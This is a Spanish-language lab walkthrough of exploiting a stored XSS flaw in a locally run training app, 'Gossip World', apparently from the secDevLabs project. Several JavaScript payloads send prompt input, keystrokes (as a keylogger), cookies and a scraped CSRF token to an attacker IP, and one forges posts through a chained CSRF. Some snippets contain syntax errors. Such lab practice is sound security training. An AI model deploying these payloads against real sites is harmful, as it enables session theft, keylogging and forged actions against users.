
Instalaci贸n
git clone https://github.com/globocom/secDevLabs
cd gossip-world
make install
Esto crear谩 un servicio que corre en el equipo local por el puerto 10007
SecDevLabs: 馃憖 Your app is starting!
SecDevLabs: 馃憖 Your app is still starting... (---*----)
SecDevLabs: 馃敟 A7 - Gossip World is now running at http://localhost:10007
Explotaci贸n
Lo primero que aparece es un panel de inicio de sesi贸n

Creo dos usuarios con las siguientes credenciales:
admin:admin123$!
rubbx:rubbx123$!
Inicio sesi贸n como rubbx. Puedo ver una nueva interfaz

El campo New gossipes vulnerable a inyecci贸n XSS

Las etiquetas script no las interpreta si trato de cargar un elemento externo hasta que no abro el post

En una sesi贸n de netcat recibo la petici贸n
nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.16.130] from (UNKNOWN) [192.168.16.130] 37628
GET /pwned.js HTTP/1.1
Host: 192.168.16.130
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: */*
Referer: http://localhost:10007/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Creo un servicio HTTP con python por el puerto 80
python3 -m http.server 80
Y un archivo pwned.js donde introducir茅 mi c贸digo JavaScript. Algo que se puede hacer es tratar de abrir una ventana emergente en la que el usuario introduzca su input
var user_input = prompt("Ventana emergente", "Ejemplo de input")

Puedo adem谩s validar si el campo tiene contenido o est谩 vac铆o. En caso contrario, se tramitar谩 una petici贸n a mi equipo con los datos
if (user_input == null || user_input == ""){
alert("Campo vac铆o");
} else {
fetch("http://192.168.16.130:8080/?user_input=" + user_input);
}
Incluso se puede derivar a un Keylogger
var characters = "";
document.onkeypress = function(event) {
var character = event.key;
characters += character;
var image = new Image();
image.src = "http://192.168.16.130/" + character;
};
Es posible redirigir un usuario a un sitio web
window.location.href = "https://google.es";
Con respecto a las cookies, en caso de tener el HttpOnly en false, se puede tratar de dumpear de la misma forma que antes al tramitar la petici贸n, pero extray茅ndola de document.cookie. Otra forma es utilizando XMLHttpRequest
var request = New XMLHttpRequest();
var req = ('GET', 'http;//192.168.16.130/?cookie=' + document.cookie);
request.send();
Se puede derivar a un CSRF, para tramitar peticiones por GET o POST a alg煤n elemento de la web como otro usuario. En este caso, se est谩 arrastrando un CSRF token a la hora de crear una publicaci贸n, por lo que si quiero crear una a trav茅s de la inyecci贸n, tendr铆a que obtenerlo
title=test&subtitle=test&text=test&_csrf_token=9bddf12b-2445-4349-bf81-06af29147a4d
Se suele encontrar en un campo oculto en el c贸digo fuente
curl -s -X GET http://localhost:10007/newgossip -H "Cookie: session=eyJfY3NyZl90b2tlbiI6IjliZGRmMTJiLTI0NDUtNDM0OS1iZjgxLTA2YWYyOTE0N2E0ZCIsInVzZXJuYW1lIjoicnViYngifQ.ZFU9eQ.-DuQJNNgO1NjTzUVJscv51nZe-E" | grep csrf | grep -oP '".*?"'
"_csrf_token"
"hidden"
"9bddf12b-2445-4349-bf81-06af29147a4d"
Lo extraigo desde la inyecci贸n XSS
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open = ('GET', domain, false);
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://192.168.16.130/?token=' + token);
req2.send();
Para crear el post se puede realizar de la siguiente forma:
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.withCredentials = true;
req1.open = ('GET', domain, false);
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=test&subtitle=test&text=test&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);